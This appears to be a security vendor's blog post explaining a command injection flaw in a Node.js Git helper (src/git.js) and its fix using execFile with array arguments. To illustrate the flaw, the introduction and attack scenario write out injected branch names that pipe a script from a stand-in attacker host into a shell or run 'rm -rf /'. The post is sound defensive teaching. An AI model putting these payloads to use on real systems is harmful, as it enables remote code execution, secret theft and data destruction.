Back to Blog
high SEVERITY7 min read

How Command Injection Happens in Node.js `child_process` and How to Fix It

A critical command injection vulnerability in `src/git.js` allowed potential shell command execution through unsanitized branch names. The fix replaces `exec()` with `execFile()`, eliminates shell interpretation, and removes regex-based interpolation that could inject malicious commands.

O
By Orbis AppSec
Published August 31, 2026Reviewed August 31, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js where `child_process.exec()` executed shell commands built from string concatenation with unsanitized user-controlled input. The fix replaces `exec()` with `execFile(cmd, args, {shell: false})`, using array-based arguments instead of string concatenation, and replaces `String.replace()` with `String.split().join()` to prevent regex injection in commit message interpolation.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixReplace `exec()` with `execFile()` using array arguments and `shell: false`
riskArbitrary command execution via malicious branch names or repository slugs
languageJavaScript/Node.js
root cause`exec()` with string concatenation and shell interpretation of user input
vulnerabilityCommand Injection

How Command Injection Happens in Node.js child_process and How to Fix It

In a Node.js library handling Git operations, we discovered a high-severity command injection vulnerability in src/git.js that could allow attackers to execute arbitrary shell commands. The vulnerable code at line 36 used child_process.exec() with string-concatenated commands, passing user-controlled branch names and repository slugs directly into a shell interpreter.

This vulnerability is particularly dangerous because the library is consumed by downstream applications—meaning a weakness here propagates to every project that depends on it. The fix demonstrates a critical pattern shift: never let user input reach a shell interpreter.


Introduction

The src/git.js file handles repository cloning and Git command execution, but a flaw in the execCmd() function created a security risk that could be exploited through seemingly innocent repository configurations. At line 36, the code executed:

exec(
    command,
    { cwd: workingDir },
    function (error, stdout) { ... }
)

The command variable was constructed by filtering and joining array elements with spaces, including the return value of getRepoBranch()—user-controlled data that flows from repository configuration. When branch names like main; rm -rf / or $(curl attacker.com/payload | sh) reached this code, the shell would execute the injected commands.

Additionally, the interpolateCommitMessage() function at line 23 used new RegExp() with user-controlled keys, creating a secondary injection vector through regex special characters.

This matters for any developer building automation around Git operations, CI/CD pipelines, or command execution in Node.js. The pattern of "building command strings and passing them to exec()" is dangerously common—and dangerously wrong.


The Vulnerability Explained

The Primary Attack Vector: exec() with String Concatenation

The vulnerable code in src/git.js:36 executed Git commands like this:

const clone = async () => {
    const command = [
        "GIT_LFS_SKIP_SMUDGE=1",
        "git clone",
        "--depth 1",
        getRepoBranch() === undefined ? false : ` -b ${getRepoBranch()}`,
        `https://${GITHUB_TOKEN}@${GITHUB_SERVER}/${getRepoSlug()}.git`,
        getRepoPath(),
    ];
    return execCmd(command.filter(Boolean).join(" "));  // ← DANGEROUS
};

The execCmd() function then passed this string to child_process.exec():

function execCmd(command, workingDir) {
    log.info(`EXEC: "${command}" IN "${workingDir || "./"}"`);
    return new Promise((resolve, reject) => {
        exec(
            command,  // ← Shell interprets this entire string
            { cwd: workingDir },
            function (error, stdout) { ... }
        );
    });
}

Why this is exploitable: child_process.exec() spawns a shell (/bin/sh on Linux, cmd.exe on Windows) and passes the command string to that shell for interpretation. This means shell metacharacters—;, |, &, $(), backticks, newlines—are evaluated. A malicious branch name transforms from data into code.

The Secondary Attack Vector: Regex Injection in Message Interpolation

The interpolateCommitMessage() function at line 23 used:

newMessage = newMessage.replace(new RegExp(`%${key}%`, "g"), data[key]);

If key contains regex special characters like ., *, +, ?, ^, $, {, }, [, ], \, |, (, ), the RegExp constructor throws—or worse, matches unintended patterns. While not directly exploitable for command execution, this creates an injection primitive that automated attack tools could chain with other weaknesses.

Real-World Attack Scenario

Consider a CI/CD system using this library to clone repositories based on webhook payloads. An attacker creates a branch named:

feature; curl -s attacker.com/exfil.sh | bash; #

When getRepoBranch() returns this string, the constructed command becomes:

GIT_LFS_SKIP_SMUDGE=1 git clone --depth 1 -b feature; curl -s attacker.com/exfil.sh | bash; # https://token@github.com/org/repo.git ./path

The shell executes: git clone (succeeds), then curl | bash (malicious payload), then # starts a comment. The attacker gains code execution in the CI environment, potentially accessing secrets, modifying builds, or pivoting to production systems.


The Fix

The patch replaces three dangerous patterns with secure alternatives:

1. Replace exec() with execFile() and Array Arguments

Before (src/git.js:1 and src/git.js:36):

import { exec } from "child_process";

// ...
exec(
    command,  // String: "git clone --depth 1 -b BRANCH URL PATH"
    { cwd: workingDir },
    callback
)

After:

import { execFile } from "child_process";

// ...
execFile(
    "git",                              // Command (string)
    args,                               // Arguments (array)
    { cwd: workingDir, shell: false },  // No shell interpretation
    callback
)

Security improvement: execFile() executes the binary directly without spawning a shell when shell: false (the default). The args array is passed directly to the operating system's execve()-style call, with no string parsing. Even if args[2] contains ; rm -rf /, it's treated as a literal argument to git clone, not as shell syntax.

2. Restructure Command Construction with Arrays

Before:

const command = [
    "GIT_LFS_SKIP_SMUDGE=1",
    "git clone",
    "--depth 1",
    getRepoBranch() === undefined ? false : ` -b ${getRepoBranch()}`,
    `https://${GITHUB_TOKEN}@${GITHUB_SERVER}/${getRepoSlug()}.git`,
    getRepoPath(),
];
return execCmd(command.filter(Boolean).join(" "));

After:

const args = [
    "clone",
    "--depth",
    "1",
    ...(getRepoBranch() !== undefined ? ["-b", getRepoBranch()] : []),
    `https://${GITHUB_TOKEN}@${GITHUB_SERVER}/${getRepoSlug()}.git`,
    getRepoPath(),
];
// Passed as: execFile("git", args, { shell: false, env: {...} })

Key changes:
- GIT_LFS_SKIP_SMUDGE=1 moved to env option, not inline shell variable
- Each argument is a separate array element—no string concatenation
- Branch name is a standalone element: ["-b", getRepoBranch()] not `-b ${branch}`
- shell: false explicitly disables shell interpretation

3. Replace RegExp.replace() with split().join()

Before (src/git.js:23):

newMessage = newMessage.replace(new RegExp(`%${key}%`, "g"), data[key]);

After:

newMessage = newMessage.split(`%${key}%`).join(data[key]);

Security improvement: split().join() performs literal string matching with no regex interpretation. Special regex characters in key are treated literally. This eliminates the regex injection primitive entirely.


Prevention & Best Practices

The Golden Rule: Never Pass User Input to Shells

Approach Risk Alternative
exec("cmd " + userInput) Critical — shell injection execFile("cmd", [userInput], {shell: false})
execFile("cmd " + userInput) Critical — still uses shell if shell: true execFile("cmd", ["arg"], {shell: false})
spawn("sh", ["-c", userInput]) Critical — explicit shell spawn("cmd", ["arg"])

Node.js-Specific Guidelines

  1. Prefer execFile() over exec(): Use execFile() for single commands with known arguments. Reserve exec() only for shell pipelines you absolutely need—and validate inputs rigorously.

  2. Always set shell: false: Explicitly disable shell interpretation. The default for execFile() is false, but being explicit documents intent.

  3. Use arrays, not strings: Pass arguments as array elements. Never concatenate user input into command strings.

  4. Sanitize environment variables: Move environment variable setting to the env option, not inline shell syntax.

Detection Tools

  • Semgrep: Rule javascript.lang.security.detect-child-process.detect-child-process flags dangerous child_process usage
  • ESLint security plugin: Detects exec() with template literals
  • CodeQL: Tracks taint from user input to command execution sinks

References to Standards

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • OWASP Command Injection Prevention: https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
  • Node.js child_process security: https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback

Key Takeaways

  • Never use exec() with dynamic arguments in src/git.js: The execCmd() function now uses execFile() with shell: false, eliminating shell interpretation entirely
  • Array arguments prevent injection: The clone() function now passes ["clone", "--depth", "1", "-b", branch, url, path] as separate elements—branch names with shell metacharacters are treated as literals
  • Replace RegExp interpolation with split().join(): The interpolateCommitMessage() function no longer uses new RegExp() with user-controlled keys, preventing regex injection
  • Environment variables belong in env, not command strings: GIT_LFS_SKIP_SMUDGE=1 is now set via the env option, not inline shell syntax that could be manipulated
  • Proactive removal of exploit primitives: This patch eliminates code patterns that automated attack tools could chain with other weaknesses, raising the security bar against future vulnerabilities

How Orbis AppSec Detected This

Source: Repository branch names and slugs from getRepoBranch() and getRepoSlug() in src/git.js:33-34

Sink: child_process.exec(command, ...) at src/git.js:36 where command is built from string concatenation including user-controlled branch names

Missing control: No validation or sanitization of branch names before inclusion in shell command; no use of execFile() with array arguments; shell: true (implicit) allowed shell metacharacter interpretation

CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)

Fix: Replaced exec() with execFile("git", args, {shell: false, env: {...}}), restructured command construction to use array arguments, replaced RegExp.replace() with split().join() for safe string interpolation, and moved environment variables to the env option

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability in src/git.js illustrates a fundamental security principle: data and code must remain strictly separated. The exec() function blurs this boundary by treating command strings as code to be interpreted. The fix restores this separation by using execFile() with array arguments—data stays data, never becoming code.

For developers building Git automation, CI/CD tools, or any system executing external commands, the pattern is clear: avoid exec(), embrace execFile() with shell: false, and never trust that input validation alone is sufficient. The most secure code is code that doesn't give attackers the opportunity to inject in the first place.


References

Frequently Asked Questions

What is command injection?

Command injection occurs when an attacker can execute arbitrary system commands by manipulating input that is passed to a shell command interpreter without proper sanitization.

How do you prevent command injection in Node.js?

Use `child_process.execFile()` or `spawn()` with array-based arguments and `shell: false`, never concatenate user input into command strings, and avoid `exec()` entirely when possible.

What CWE is command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)

Is input validation enough to prevent command injection?

Input validation helps but is insufficient alone; the safest approach is using APIs that don't invoke shell interpreters, like `execFile()` with `shell: false`.

Can static analysis detect command injection?

Yes, tools like Semgrep specifically flag `child_process.exec()` calls with dynamic arguments as high-severity vulnerabilities.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #524

Related Articles

critical

How Arbitrary Code Execution Via Command Injection happens in Node.js and how to fix it

A critical arbitrary code execution flaw in the `shell-quote` npm package (CVE-2026-9277) allowed attackers to break out of shell quoting using unescaped Unicode line terminator characters, turning ordinary command-line arguments into injected shell commands. The fix locks `shell-quote` to the patched `1.8.4` release via a `resolutions` override in `package.json`/`yarn.lock`, closing off a transitive dependency path that could otherwise pull in a vulnerable version.

critical

How command injection happens in Kotlin/Android and how to fix it

V2rayNG's RootShell.kt built root shell commands by concatenating an unescaped file path directly into a string passed to `su -c`, creating a critical command injection risk (CWE-78). The fix restricts the `exec()` API to internal use only and single-quote-escapes the file path before it ever reaches the root shell.

high

How shell command injection happens in Ruby and how to fix it

A critical command injection vulnerability was discovered in Fastlane's deliver module where `system("open '#{html_path}'")` allowed shell metacharacters in file paths to execute arbitrary commands. The fix replaces vulnerable string interpolation with array-based argument passing, eliminating the shell entirely.

critical

How Command Injection Happens in Node.js Dependencies and How to Fix It

CVE-2026-9277 is a critical command injection vulnerability in shell-quote versions prior to 1.8.4 that allows attackers to execute arbitrary code by injecting unescaped line terminators into shell commands. This vulnerability affects any Node.js application that uses the vulnerable shell-quote package to construct shell commands from untrusted input. The fix upgrades shell-quote to version 1.8.4, which properly escapes line terminators and neutralizes the injection vector.

high

How command injection happens in Ruby and how to fix it

A Fastlane helper used a Ruby backtick subshell to clone a plugin's git repository, interpolating `self.homepage` directly into a shell command string. Even with `shellescape` applied, the pattern was flagged as a dangerous subshell that could be chained into a command injection primitive; the fix replaces it with `system()` using an argument array, eliminating shell interpretation entirely.

critical

How command injection happens in JavaScript dependency trees and how to fix it

A critical command injection vulnerability in websocket-driver 0.7.4 allowed attackers to execute arbitrary shell commands through unescaped line terminators in WebSocket protocol handling. The automated fix upgrades to version 0.7.5 and adds an explicit override in package.json to prevent dependency resolution from reverting to the vulnerable version.